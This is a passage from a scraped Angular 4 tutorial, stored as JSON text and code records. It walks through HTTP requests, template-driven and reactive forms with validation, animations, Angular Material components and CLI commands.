['./app.component.css']\n})\nexport class AppComponent {\n title = 'app';\n searchparam = 2;\n jsondata;\n name;\n constructor(private http: Http) { }\n ngOnInit() {\n this.http.get(\"http://jsonplaceholder.typicode.com/users?id=\"+this.searchparam).\n map(\n (response) ⇒ response.json()\n ).\n subscribe((data) ⇒ this.converttoarray(data))\n }\n converttoarray(data) {\n console.log(data);\n this.name = data[0].name;\n }\n}" }, { "code": null, "e": 72486, "s": 72337, "text": "For the get api, we will add the search param id = this.searchparam. The searchparam is equal to 2. We need the details of id=2 from the json file. " }, { "code": null, "e": 72496, "s": 72486, "text": "{{name}}\n" }, { "code": null, "e": 72535, "s": 72496, "text": "This is how the browser is displayed −" }, { "code": null, "e": 72718, "s": 72535, "text": "We have consoled the data in the browser, which is received from the http. The same is displayed in the browser console. The name from the json with id=2 is displayed in the browser." }, { "code": null, "e": 72874, "s": 72718, "text": "In this chapter, we will see how forms are used in Angular 4. We will discuss two ways of working with forms - template driven form and model driven forms." }, { "code": null, "e": 73026, "s": 72874, "text": "With a template driven form, most of the work is done in the template; and with the model driven form, most of the work is done in the component class." }, { "code": null, "e": 73295, "s": 73026, "text": "Let us now consider working on the Template driven form. We will create a simple login form and add the email id, password and submit the button in the form. To start with, we need to import to FormsModule from @angular/core which is done in app.module.ts as follows −" }, { "code": null, "e": 74191, "s": 73295, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { RouterModule} from '@angular/router';\n\nimport { HttpModule } from '@angular/http';\nimport { FormsModule } from '@angular/forms';\nimport { AppComponent } from './app.component';\n\nimport { MyserviceService } from './myservice.service';\nimport { NewCmpComponent } from './new-cmp/new-cmp.component';\nimport { ChangeTextDirective } from './change-text.directive';\nimport { SqrtPipe } from './app.sqrt';\n\n@NgModule({\n declarations: [\n SqrtPipe,\n AppComponent,\n NewCmpComponent,\n ChangeTextDirective\n ],\n imports: [\n BrowserModule,\n HttpModule,\n FormsModule,\n RouterModule.forRoot([\n {path: 'new-cmp',component: NewCmpComponent}\n ])\n ],\n providers: [MyserviceService],\n bootstrap: [AppComponent]\n})\n\nexport class AppModule { }" }, { "code": null, "e": 74322, "s": 74191, "text": "So in app.module.ts, we have imported the FormsModule and the same is added in the imports array as shown in the highlighted code." }, { "code": null, "e": 74381, "s": 74322, "text": "Let us now create our form in the app.component.html file." }, { "code": null, "e": 74678, "s": 74381, "text": "<form #userlogin = \"ngForm\" (ngSubmit) = \"onClickSubmit(userlogin.value)\" >\n <input type = \"text\" name = \"emailid\" placeholder = \"emailid\" ngModel>\n <br/>\n <input type = \"password\" name = \"passwd\" placeholder = \"passwd\" ngModel>\n <br/>\n <input type = \"submit\" value = \"submit\">\n</form>\n" }, { "code": null, "e": 74825, "s": 74678, "text": "We have created a simple form with input tags having email id, password and the submit button. We have assigned type, name, and placeholder to it." }, { "code": null, "e": 75137, "s": 74825, "text": "In template driven forms, we need to create the model form controls by adding the ngModel directive and the name attribute. Thus, wherever we want Angular to access our data from forms, add ngModel to that tag as shown above. Now, if we have to read the emailid and passwd, we need to add the ngModel across it." }, { "code": null, "e": 75358, "s": 75137, "text": "If you see, we have also added the ngForm to the #userlogin. The ngForm directive needs to be added to the form template that we have created. We have also added function onClickSubmit and assigned userlogin.value to it." }, { "code": null, "e": 75455, "s": 75358, "text": "Let us now create the function in the app.component.ts and fetch the values entered in the form." }, { "code": null, "e": 75987, "s": 75455, "text": "import { Component } from '@angular/core';\nimport { MyserviceService } from './myservice.service';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n todaydate;\n componentproperty;\n constructor(private myservice: MyserviceService) { }\n ngOnInit() {\n this.todaydate = this.myservice.showTodayDate();\n }\n onClickSubmit(data) {\n alert(\"Entered Email id : \" + data.emailid);\n }\n}" }, { "code": null, "e": 76154, "s": 75987, "text": "In the above app.component.ts file, we have defined the function onClickSubmit. When you click on the form submit button, the control will come to the above function." }, { "code": null, "e": 76193, "s": 76154, "text": "This is how the browser is displayed −" }, { "code": null, "e": 76318, "s": 76193, "text": "The form looks like as shown below. Let us enter the data in it and in the submit function, the email id is already entered." }, { "code": null, "e": 76392, "s": 76318, "text": "The email id is displayed at the bottom as shown in the above screenshot." }, { "code": null, "e": 76519, "s": 76392, "text": "In the model driven form, we need to import the ReactiveFormsModule from @angular/forms and use the same in the imports array." }, { "code": null, "e": 76566, "s": 76519, "text": "There is a change which goes in app.module.ts." }, { "code": null, "e": 77513, "s": 76566, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { RouterModule} from '@angular/router';\n\nimport { HttpModule } from '@angular/http';\nimport { ReactiveFormsModule } from '@angular/forms';\nimport { AppComponent } from './app.component';\n\nimport { MyserviceService } from './myservice.service';\nimport { NewCmpComponent } from './new-cmp/new-cmp.component';\nimport { ChangeTextDirective } from './change-text.directive';\nimport { SqrtPipe } from './app.sqrt';\n\n@NgModule({\n declarations: [\n SqrtPipe,\n AppComponent,\n NewCmpComponent,\n ChangeTextDirective\n ],\n imports: [\n BrowserModule,\n HttpModule,\n ReactiveFormsModule,\n RouterModule.forRoot([\n {\n path: 'new-cmp',\n component: NewCmpComponent\n }\n ])\n ],\n providers: [MyserviceService],\n bootstrap: [AppComponent]\n})\nexport class AppModule { }" }, { "code": null, "e": 77663, "s": 77513, "text": "In app.component.ts, we need to import a few modules for the model driven form. For example, import { FormGroup, FormControl } from '@angular/forms'." }, { "code": null, "e": 78398, "s": 77663, "text": "import { Component } from '@angular/core';\nimport { MyserviceService } from './myservice.service';\nimport { FormGroup, FormControl } from '@angular/forms';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\nexport class AppComponent {\n title = 'Angular 4 Project!';\n todaydate;\n componentproperty;\n emailid;\n formdata;\n constructor(private myservice: MyserviceService) { }\n ngOnInit() {\n this.todaydate = this.myservice.showTodayDate();\n this.formdata = new FormGroup({\n emailid: new FormControl(\"[email protected]\"),\n passwd: new FormControl(\"abcd1234\")\n });\n }\n onClickSubmit(data) {this.emailid = data.emailid;}\n}" }, { "code": null, "e": 78661, "s": 78398, "text": "The variable formdata is initialized at the start of the class and the same is initialized with FormGroup as shown above. The variables emailid and passwd are initialized with default values to be displayed in the form. You can keep it blank in case you want to." }, { "code": null, "e": 78713, "s": 78661, "text": "This is how the values will be seen in the form UI." }, { "code": null, "e": 78825, "s": 78713, "text": "We have used formdata to initialize the form values; we need to use the same in the form UI app.component.html." }, { "code": null, "e": 79301, "s": 78825, "text": "<div>\n <form [formGroup]=\"formdata\" (ngSubmit) = \"onClickSubmit(formdata.value)\" >\n <input type=\"text\" class=\"fortextbox\" name=\"emailid\" placeholder=\"emailid\" \n formControlName=\"emailid\">\n <br/>\n \n <input type=\"password\" class=\"fortextbox\" name=\"passwd\" \n placeholder=\"passwd\" formControlName=\"passwd\">\n <br/>\n \n <input type=\"submit\" class=\"forsubmit\" value=\"Log In\">\n </form>\n</div>\n<p>\n Email entered is : {{emailid}}\n</p>" }, { "code": null, "e": 79496, "s": 79301, "text": "In the .html file, we have used formGroup in square bracket for the form; for example, [formGroup]=”formdata”. On submit, the function is called onClickSubmit for which formdata.value is passed." }, { "code": null, "e": 79603, "s": 79496, "text": "The input tag formControlName is used. It is given a value that we have used in the app.component.ts file." }, { "code": null, "e": 79723, "s": 79603, "text": "On clicking submit, the control will pass to the function onClickSubmit, which is defined in the app.component.ts file." }, { "code": null, "e": 79804, "s": 79723, "text": "On clicking Login, the value will be displayed as shown in the above screenshot." }, { "code": null, "e": 80164, "s": 79804, "text": "Let us now discuss form validation using model driven form. You can use the built-in form validation or also use the custom validation approach. We will use both the approaches in the form. We will continue with the same example that we created in one of our previous sections. With Angular 4, we need to import Validators from @angular/forms as shown below −" }, { "code": null, "e": 80232, "s": 80164, "text": "import { FormGroup, FormControl, Validators} from '@angular/forms'\n" }, { "code": null, "e": 80378, "s": 80232, "text": "Angular has built-in validators such as mandatory field, minlength, maxlength, and pattern. These are to be accessed using the Validators module." }, { "code": null, "e": 80493, "s": 80378, "text": "You can just add validators or an array of validators required to tell Angular if a particular field is mandatory." }, { "code": null, "e": 80634, "s": 80493, "text": "Let us now try the same on one of the input textboxes, i.e., email id. For the email id, we have added the following validation parameters −" }, { "code": null, "e": 80643, "s": 80634, "text": "Required" }, { "code": null, "e": 80660, "s": 80643, "text": "Pattern matching" }, { "code": null, "e": 80721, "s": 80660, "text": "This is how a code undergoes validation in app.component.ts." }, { "code": null, "e": 81392, "s": 80721, "text": "import { Component } from '@angular/core';\nimport { FormGroup, FormControl, Validators} from '@angular/forms';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n todaydate;\n componentproperty;\n emailid;\n formdata;\n ngOnInit() {\n this.formdata = new FormGroup({\n emailid: new FormControl(\"\", Validators.compose([\n Validators.required,\n Validators.pattern(\"[^ @]*@[^ @]*\")\n ])),\n passwd: new FormControl(\"\")\n });\n }\n onClickSubmit(data) {this.emailid = data.emailid;}\n}\n" }, { "code": null, "e": 81587, "s": 81392, "text": "In Validators.compose, you can add the list of things you want to validate on the input field. Right now, we have added the required and the pattern matching parameters to take only valid email." }, { "code": null, "e": 81711, "s": 81587, "text": "In the app.component.html, the submit button is disabled if any of the form inputs are not valid. This is done as follows −" }, { "code": null, "e": 82249, "s": 81711, "text": "<div>\n <form [formGroup] = \"formdata\" (ngSubmit) = \"onClickSubmit(formdata.value)\" >\n <input type = \"text\" class = \"fortextbox\" name = \"emailid\" placeholder = \"emailid\" \n formControlName = \"emailid\">\n <br/>\n <input type = \"password\" class = \"fortextbox\" name = \"passwd\" \n placeholder = \"passwd\" formControlName = \"passwd\">\n <br/>\n <input type = \"submit\" [disabled] = \"!formdata.valid\" class = \"forsubmit\" \n value = \"Log In\">\n </form>\n</div>\n\n<p>\n Email entered is : {{emailid}}\n</p>" }, { "code": null, "e": 82476, "s": 82249, "text": "For the submit button, we have added disabled in the square bracket, which is given value - !formdata.valid. Thus, if the formdata.valid is not valid, the button will remain disabled and the user will not be able to submit it." }, { "code": null, "e": 82523, "s": 82476, "text": "Let us see the how this works in the browser −" }, { "code": null, "e": 82678, "s": 82523, "text": "In the above case, the email id entered is invalid, hence the login button is disabled. Let us now try entering the valid email id and see the difference." }, { "code": null, "e": 82859, "s": 82678, "text": "Now, the email id entered is valid. Thus, we can see the login button is enabled and the user will be able to submit it. With this, the email id entered is displayed at the bottom." }, { "code": null, "e": 83050, "s": 82859, "text": "Let us now try custom validation with the same form. For custom validation, we can define our own custom function and add the required details in it. We will now see an example for the same." }, { "code": null, "e": 83874, "s": 83050, "text": "import { Component } from '@angular/core';\nimport { FormGroup, FormControl, Validators} from '@angular/forms';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n todaydate;\n componentproperty;\n emailid;\n formdata;\n ngOnInit() {\n this.formdata = new FormGroup({\n emailid: new FormControl(\"\", Validators.compose([\n Validators.required,\n Validators.pattern(\"[^ @]*@[^ @]*\")\n ])),\n passwd: new FormControl(\"\", this.passwordvalidation)\n });\n }\n passwordvalidation(formcontrol) {\n if (formcontrol.value.length <'; 5) {\n return {\"passwd\" : true};\n }\n }\n onClickSubmit(data) {this.emailid = data.emailid;}\n}" }, { "code": null, "e": 84061, "s": 83874, "text": "In the above example, we have created a function password validation and the same is used in a previous section in the formcontrol - passwd: new FormControl(\"\", this.passwordvalidation)." }, { "code": null, "e": 84385, "s": 84061, "text": "In the function that we have created, we will check if the length of the characters entered is appropriate. If the characters are less than five, it will return with the passwd true as shown above - return {\"passwd\" : true};. If the characters are more than five, it will consider it as valid and the login will be enabled." }, { "code": null, "e": 84439, "s": 84385, "text": "Let us now see how this is displayed in the browser −" }, { "code": null, "e": 84629, "s": 84439, "text": "We have entered only three characters in the password and the login is disabled. To enable login, we need more than five characters. Let us now enter a valid length of characters and check." }, { "code": null, "e": 84750, "s": 84629, "text": "The login is enabled as both the email id and the password are valid. The email is displayed at the bottom as we log in." }, { "code": null, "e": 85023, "s": 84750, "text": "Animations add a lot of interaction between the html elements. Animation was also available with Angular2. The difference with Angular 4 is that animation is no more a part of the @angular/core library, but is a separate package that needs to be imported in app.module.ts." }, { "code": null, "e": 85081, "s": 85023, "text": "To start with, we need to import the library as follows −" }, { "code": null, "e": 85162, "s": 85081, "text": "import { BrowserAnimationsModule } from '@angular/platform-browser/animations';\n" }, { "code": null, "e": 85262, "s": 85162, "text": "The BrowserAnimationsModule needs to be added to the import array in app.module.ts as shown below −" }, { "code": null, "e": 85697, "s": 85262, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\n\nimport { BrowserAnimationsModule } from '@angular/platform-browser/animations';\nimport { AppComponent } from './app.component';\n\n@NgModule({\n declarations: [\n AppComponent\n ],\n imports: [\n BrowserModule,\n BrowserAnimationsModule\n ],\n providers: [],\n bootstrap: [AppComponent]\n})\nexport class AppModule { }" }, { "code": null, "e": 85779, "s": 85697, "text": "In app.component.html, we have added the html elements, which are to be animated." }, { "code": null, "e": 85965, "s": 85779, "text": "<div>\n <button (click)=\"animate()\">Click Me</button>\n <div [@myanimation] = \"state\" class=\"rotate\">\n <img src=\"assets/images/img.png\" width=\"100\" height=\"100\">\n </div>\n</div>" }, { "code": null, "e": 86179, "s": 85965, "text": "For the main div, we have added a button and a div with an image. There is a click event for which the animate function is called. And for the div, the @myanimation directive is added and given the value as state." }, { "code": null, "e": 86247, "s": 86179, "text": "Let us now see the app.component.ts where the animation is defined." }, { "code": null, "e": 87160, "s": 86247, "text": "import { Component } from '@angular/core';\nimport { trigger, state, style, transition, animate } from '@angular/animations';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css'],\n styles:[`\n div{\n margin: 0 auto;\n text-align: center;\n width:200px;\n }\n .rotate{\n width:100px;\n height:100px;\n border:solid 1px red;\n }\n `],\n animations: [\n trigger('myanimation',[\n state('smaller',style({\n transform : 'translateY(100px)'\n })),\n state('larger',style({\n transform : 'translateY(0px)'\n })),\n transition('smaller <=> larger',animate('300ms ease-in'))\n ])\n ]\n})\n\nexport class AppComponent {\n state: string = \"smaller\";\n animate() {\n this.state= this.state == 'larger' ? 'smaller' : 'larger';\n }\n}" }, { "code": null, "e": 87252, "s": 87160, "text": "We have to import the animation function that is to be used in the .ts file as shown above." }, { "code": null, "e": 87335, "s": 87252, "text": "import { trigger, state, style, transition, animate } from '@angular/animations';\n" }, { "code": null, "e": 87430, "s": 87335, "text": "Here we have imported trigger, state, style, transition, and animate from @angular/animations." }, { "code": null, "e": 87504, "s": 87430, "text": "Now, we will add the animations property to the @Component () decorator −" }, { "code": null, "e": 87779, "s": 87504, "text": "animations: [\n trigger('myanimation',[\n state('smaller',style({\n transform : 'translateY(100px)'\n })),\n state('larger',style({\n transform : 'translateY(0px)'\n })),\n transition('smaller <=> larger',animate('300ms ease-in'))\n ])\n]\n" }, { "code": null, "e": 88024, "s": 87779, "text": "Trigger defines the start of the animation. The first param to it is the name of the animation to be given to the html tag to which the animation needs to be applied. The second param are the functions we have imported - state, transition, etc." }, { "code": null, "e": 88278, "s": 88024, "text": "The state function involves the animation steps, which the element will transition between. Right now we have defined two states, smaller and larger. For smaller state, we have given the style transform:translateY(100px) and transform:translateY(100px)." }, { "code": null, "e": 88531, "s": 88278, "text": "Transition function adds animation to the html element. The first argument takes the states, i.e., start and end; the second argument accepts the animate function. The animate function allows you to define the length, delay, and easing of a transition." }, { "code": null, "e": 88602, "s": 88531, "text": "Let us now see the .html file to see how the transition function works" }, { "code": null, "e": 88789, "s": 88602, "text": "<div>\n <button (click)=\"animate()\">Click Me</button>\n <div [@myanimation] = \"state\" class=\"rotate\">\n <img src=\"assets/images/img.png\" width=\"100\" height=\"100\">\n </div>\n</div>\n" }, { "code": null, "e": 88945, "s": 88789, "text": "There is a style property added in the @component directive, which centrally aligns the div. Let us consider the following example to understand the same −" }, { "code": null, "e": 89124, "s": 88945, "text": "styles:[`\n div{\n margin: 0 auto;\n text-align: center;\n width:200px;\n }\n .rotate{\n width:100px;\n height:100px;\n border:solid 1px red;\n }\n`],\n" }, { "code": null, "e": 89290, "s": 89124, "text": "Here, a special character [``] is used to add styles to the html element, if any. For the div, we have given the animation name defined in the app.component.ts file." }, { "code": null, "e": 89405, "s": 89290, "text": "On the click of a button it calls the animate function, which is defined in the app.component.ts file as follows −" }, { "code": null, "e": 89550, "s": 89405, "text": "export class AppComponent {\n state: string = \"smaller\";\n animate() {\n this.state= this.state == ‘larger’? 'smaller' : 'larger';\n }\n}\n" }, { "code": null, "e": 89767, "s": 89550, "text": "The state variable is defined and is given the default value as smaller. The animate function changes the state on click. If the state is larger, it will convert to smaller; and if smaller, it will convert to larger." }, { "code": null, "e": 89847, "s": 89767, "text": "This is how the output in the browser (http://localhost:4200/) will look like −" }, { "code": null, "e": 89958, "s": 89847, "text": "Upon clicking the Click Me button, the position of the image is changed as shown in the following screenshot −" }, { "code": null, "e": 90131, "s": 89958, "text": "The transform function is applied in the y direction, which is changed from 0 to 100px when the Click Me button is clicked. The image is stored in the assets/images folder." }, { "code": null, "e": 90319, "s": 90131, "text": "Materials offer a lot of built-in modules for your project. Features such as autocomplete, datepicker, slider, menus, grids, and toolbar are available for use with materials in Angular 4." }, { "code": null, "e": 90590, "s": 90319, "text": "To use materials, we need to import the package. Angular 2 also has all the above features but they are available as part of the @angular/core module. Angular 4 has come up with a separate module @angular/materials.. This helps the user to import the required materials." }, { "code": null, "e": 90884, "s": 90590, "text": "To start using materials, you need to install two packages - materials and cdk. Material components depend on the animation module for advanced features, hence you need the animation package for the same, i.e., @angular/animations. The package has already been updated in the previous chapter." }, { "code": null, "e": 90935, "s": 90884, "text": "npm install --save @angular/material @angular/cdk\n" }, { "code": null, "e": 91018, "s": 90935, "text": "Let us now see the package.json. @angular/material and @angular/cdk are installed." }, { "code": null, "e": 92534, "s": 91018, "text": "{\n \"name\": \"angularstart\",\n \"version\": \"0.0.0\",\n \"license\": \"MIT\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\",\n \"test\": \"ng test\",\n \"lint\": \"ng lint\",\n \"e2e\": \"ng e2e\"\n },\n \n \"private\": true,\n \n \"dependencies\": {\n \"@angular/animations\": \"^4.0.0\",\n \"@angular/cdk\": \"^2.0.0-beta.8\",\n \"@angular/common\": \"^4.0.0\",\n \"@angular/compiler\": \"^4.0.0\",\n \"@angular/core\": \"^4.0.0\",\n \"@angular/forms\": \"^4.0.0\",\n \n \"@angular/http\": \"^4.0.0\",\n \"@angular/material\": \"^2.0.0-beta.8\",\n \"@angular/platform-browser\": \"^4.0.0\",\n \"@angular/platform-browser-dynamic\": \"^4.0.0\",\n \"@angular/router\": \"^4.0.0\",\n \"core-js\": \"^2.4.1\",\n \"rxjs\": \"^5.1.0\",\n \"zone.js\": \"^0.8.4\"\n },\n \n \"devDependencies\": {\n \"@angular/cli\": \"1.2.0\",\n \"@angular/compiler-cli\": \"^4.0.0\",\n \"@angular/language-service\": \"^4.0.0\",\n \"@types/jasmine\": \"~2.5.53\",\n \"@types/jasminewd2\": \"~2.0.2\",\n \"@types/node\": \"~6.0.60\",\n \"codelyzer\": \"~3.0.1\",\n \"jasmine-core\": \"~2.6.2\",\n \"jasmine-spec-reporter\": \"~4.1.0\",\n \n \"karma\": \"~1.7.0\",\n \"karma-chrome-launcher\": \"~2.1.1\",\n \"karma-cli\": \"~1.0.1\",\n \"karma-coverage-istanbul-reporter\": \"^1.2.1\",\n \"karma-jasmine\": \"~1.1.0\",\n \"karma-jasmine-html-reporter\": \"^0.2.2\",\n \n \"protractor\": \"~5.1.2\",\n \"ts-node\": \"~3.0.4\",\n \"tslint\": \"~5.3.2\",\n \"typescript\": \"~2.3.3\"\n }\n}" }, { "code": null, "e": 92610, "s": 92534, "text": "We have highlighted the packages that are installed to work with materials." }, { "code": null, "e": 92694, "s": 92610, "text": "We will now import the modules in the parent module - app.module.ts as shown below." }, { "code": null, "e": 93343, "s": 92694, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\n\nimport { BrowserAnimationsModule } from '@angular/platform-browser/animations';\nimport { MdButtonModule, MdMenuModule, MdSidenavModule } from '@angular/material';\n\nimport { FormsModule } from '@angular/forms';\nimport { AppComponent } from './app.component';\n\n@NgModule({\n declarations: [\n AppComponent\n ],\n imports: [\n BrowserModule,\n BrowserAnimationsModule,\n MdButtonModule,\n MdMenuModule,\n FormsModule,\n MdSidenavModule\n ],\n providers: [],\n bootstrap: [AppComponent]\n})\nexport class AppModule { }" }, { "code": null, "e": 93426, "s": 93343, "text": "In the above file, we have imported the following modules from @angular/materials." }, { "code": null, "e": 93509, "s": 93426, "text": "import { MdButtonModule, MdMenuModule, MdSidenavModule } from '@angular/material';" }, { "code": null, "e": 93568, "s": 93509, "text": "And the same is used in the imports array as shown below −" }, { "code": null, "e": 93699, "s": 93568, "text": "imports: [\n BrowserModule,\n BrowserAnimationsModule,\n MdButtonModule,\n MdMenuModule,\n FormsModule,\n MdSidenavModule\n]\n" }, { "code": null, "e": 93740, "s": 93699, "text": "The app.component.ts is as shown below −" }, { "code": null, "e": 93977, "s": 93740, "text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n myData: Array<any>;\n constructor() {}\n}" }, { "code": null, "e": 94028, "s": 93977, "text": "Let us now add the material in app.component.html." }, { "code": null, "e": 94540, "s": 94028, "text": "<button md-button [mdMenuTriggerFor]=\"menu\">Menu</button>\n<md-menu #menu=\"mdMenu\">\n <button md-menu-item>\n File\n </button>\n <button md-menu-item>\n Save As\n </button>\n</md-menu>\n\n<md-sidenav-container class=\"example-container\">\n <md-sidenav #sidenav class=\"example-sidenav\">\n Angular 4\n </md-sidenav>\n \n <div class=\"example-sidenav-content\">\n <button type=\"button\" md-button (click)=\"sidenav.open()\">\n Open sidenav\n </button>\n </div>\n</md-sidenav-container>" }, { "code": null, "e": 94591, "s": 94540, "text": "In the above file, we have added Menu and SideNav." }, { "code": null, "e": 94858, "s": 94591, "text": "To add menu, <md-menu></md-menu> is used. The file and Save As items are added to the button under md-menu. There is a main button added Menu. The reference of the same is given the <md-menu> by using [mdMenuTriggerFor]=”menu” and using the menu with # in <md-menu>." }, { "code": null, "e": 95153, "s": 94858, "text": "To add sidenav, we need <md-sidenav-container></md-sidenav-container>. <md-sidenav></md-sidenav> is added as a child to the container. There is another div added, which triggers the sidenav by using (click)=”sidenav.open()”. Following is the display of the menu and the sidenav in the browser −" }, { "code": null, "e": 95219, "s": 95153, "text": "Upon clicking opensidenav, it shows the side bar as shown below −" }, { "code": null, "e": 95296, "s": 95219, "text": "Upon clicking Menu, you will get two items File and Save As as shown below −" }, { "code": null, "e": 95425, "s": 95296, "text": "Let us now add a datepicker using materials. To add a datepicker, we need to import the modules required to show the datepicker." }, { "code": null, "e": 95512, "s": 95425, "text": "In app.module.ts, we have imported the following module as shown below for datepicker." }, { "code": null, "e": 96176, "s": 95512, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { BrowserAnimationsModule } from '@angular/platform-browser/animations';\n\nimport { MdDatepickerModule, MdInputModule, MdNativeDateModule } from '@angular/material';\nimport { FormsModule } from '@angular/forms';\nimport { AppComponent } from './app.component';\n\n@NgModule({\n declarations: [\n AppComponent\n ],\n imports: [\n BrowserModule,\n BrowserAnimationsModule,\n FormsModule,\n MdDatepickerModule,\n MdInputModule,\n MdNativeDateModule\n ],\n providers: [],\n bootstrap: [AppComponent]\n})\nexport class AppModule { }" }, { "code": null, "e": 96274, "s": 96176, "text": "Here, we have imported modules such as MdDatepickerModule, MdInputModule, and MdNativeDateModule." }, { "code": null, "e": 96320, "s": 96274, "text": "Now, the app.component.ts is as shown below −" }, { "code": null, "e": 96556, "s": 96320, "text": "import { Component } from '@angular/core';\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n myData: Array<any>;\n constructor() {}\n}" }, { "code": null, "e": 96599, "s": 96556, "text": "The app.component.html is as shown below −" }, { "code": null, "e": 96815, "s": 96599, "text": "<md-input-container>\n <input mdInput [mdDatepicker]=\"picker\" placeholder=\"Choose a date\">\n <button mdSuffix [mdDatepickerToggle]=\"picker\"></button>\n</md-input-container>\n\n<md-datepicker #picker></md-datepicker>\n" }, { "code": null, "e": 96872, "s": 96815, "text": "This is how the datepicker is displayed in the browser −" }, { "code": null, "e": 97135, "s": 96872, "text": "Angular CLI makes it easy to start with any Angular project. Angular CLI comes with commands that help us create and start on our project very fast. Let us now go through the commands available to create a project, a component and services, change the port, etc." }, { "code": null, "e": 97253, "s": 97135, "text": "To work with Angular CLI, we need to have it installed on our system. Let us use the following command for the same −" }, { "code": null, "e": 97282, "s": 97253, "text": "npm install -g @angular/cli\n" }, { "code": null, "e": 97393, "s": 97282, "text": "To create a new project, we can run the following command in the command line and the project will be created." }, { "code": null, "e": 97442, "s": 97393, "text": "ng new PROJECT-NAME\ncd PROJECT-NAME\nng serve //\n" }, { "code": null, "e": 97527, "s": 97442, "text": "ng serve // will compile and you can see the output of your project in the browser −" }, { "code": null, "e": 97551, "s": 97527, "text": "http://localhost:4200/\n" }, { "code": null, "e": 97665, "s": 97551, "text": "4200 is the default port used when a new project is created. You can change the port with the following command −" }, { "code": null, "e": 97702, "s": 97665, "text": "ng serve --host 0.0.0.0 --port 4201\n" }, { "code": null, "e": 97806, "s": 97702, "text": "The following table lists down a few important commands required while working with Angular 4 projects." }, { "code": null, "e": 97940, "s": 97806, "text": "Whenever a new module, a component, or a service is created, the reference of the same is updated in the parent module app.module.ts." }, { "code": null, "e": 98010, "s": 97940, "text": "In this chapter, we will discuss a few examples related to Angular 4." }, { "code": null, "e": 98323, "s": 98010, "text": "To begin with, we have created an example which shows a login form with input as username and password. Upon entering the correct values, it will enter inside and show another form wherein, you can enter the customer details. In addition, we have created four components - header, footer, userlogin and mainpage." }, { "code": null, "e": 98380, "s": 98323, "text": "The components are created using the following command −" }, { "code": null, "e": 98668, "s": 98380, "text": "C:\\ngexamples\\aexamples>ng g component header\ninstalling component\n create src\\app\\header\\header.component.css\n create src\\app\\header\\header.component.html\n create src\\app\\header\\header.component.spec.ts\n create src\\app\\header\\header.component.ts\n update src\\app\\app.module.ts\n" }, { "code": null, "e": 98956, "s": 98668, "text": "C:\\ngexamples\\aexamples>ng g component footer\ninstalling component\n create src\\app\\footer\\footer.component.css\n create src\\app\\footer\\footer.component.html\n create src\\app\\footer\\footer.component.spec.ts\n create src\\app\\footer\\footer.component.ts\n update src\\app\\app.module.ts\n" }, { "code": null, "e": 99271, "s": 98956, "text": "C:\\ngexamples\\aexamples>ng g component userlogin\ninstalling component\n create src\\app\\userlogin\\userlogin.component.css\n create src\\app\\userlogin\\userlogin.component.html\n create src\\app\\userlogin\\userlogin.component.spec.ts\n create src\\app\\userlogin\\userlogin.component.ts\n update src\\app\\app.module.ts\n" }, { "code": null, "e": 99577, "s": 99271, "text": "C:\\ngexamples\\aexamples>ng g component mainpage\ninstalling component\n create src\\app\\mainpage\\mainpage.component.css\n create src\\app\\mainpage\\mainpage.component.html\n create src\\app\\mainpage\\mainpage.component.spec.ts\n create src\\app\\mainpage\\mainpage.component.ts\n update src\\app\\app.module.ts\n" }, { "code": null, "e": 99688, "s": 99577, "text": "In the app.module.ts, the parent module has all the components added when created. The file looks as follows −" }, { "code": null, "e": 101033, "s": 99688, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { ReactiveFormsModule } from '@angular/forms';\n\nimport { RouterModule, Routes} froms '@angular/router';\nimport { BrowserAnimationsModule } from '@angular/platform-browser/animations';\nimport {MdTableModule} from '@angular/material';\n\nimport {HttpModule} from \"@angular/http\";\nimport {MdInputModule} from '@angular/material';\nimport { AppComponent } from './app.component';\n\nimport { HeaderComponent } from './header/header.component';\nimport { FooterComponent } from './footer/footer.component';\nimport { UserloginComponent } from './userlogin/userlogin.component';\nimport { MainpageComponent } from './mainpage/mainpage.component';\n\nconst appRoutes: Routes = [\n {\n path: '',\n component: UserloginComponent\n },\n {\n path: 'app-mainpage',\n component: MainpageComponent\n }\n];\n\n@NgModule({\n declarations: [\n AppComponent,\n HeaderComponent,\n FooterComponent,\n UserloginComponent,\n MainpageComponent\n ],\n \n imports: [\n BrowserModule,\n ReactiveFormsModule,\n RouterModule.forRoot(appRoutes),\n BrowserAnimationsModule,\n HttpModule,\n MdTableModule,\n MdInputModule\n ],\n \n providers: [],\n bootstrap: [AppComponent]\n})\nexport class AppModule { }" }, { "code": null, "e": 101074, "s": 101033, "text": "The components created above are added −" }, { "code": null, "e": 101334, "s": 101074, "text": "import { HeaderComponent } from './header/header.component';\nimport { FooterComponent } from './footer/footer.component';\nimport { UserloginComponent } from './userlogin/userlogin.component';\nimport { MainpageComponent } from './mainpage/mainpage.component';\n" }, { "code": null, "e": 101385, "s": 101334, "text": "The components are added in the declarations too −" }, { "code": null, "e": 101506, "s": 101385, "text": "declarations: [\n AppComponent,\n HeaderComponent,\n FooterComponent,\n UserloginComponent,\n MainpageComponent\n],\n" }, { "code": null, "e": 101616, "s": 101506, "text": "In the parent app.component.html, we have added the 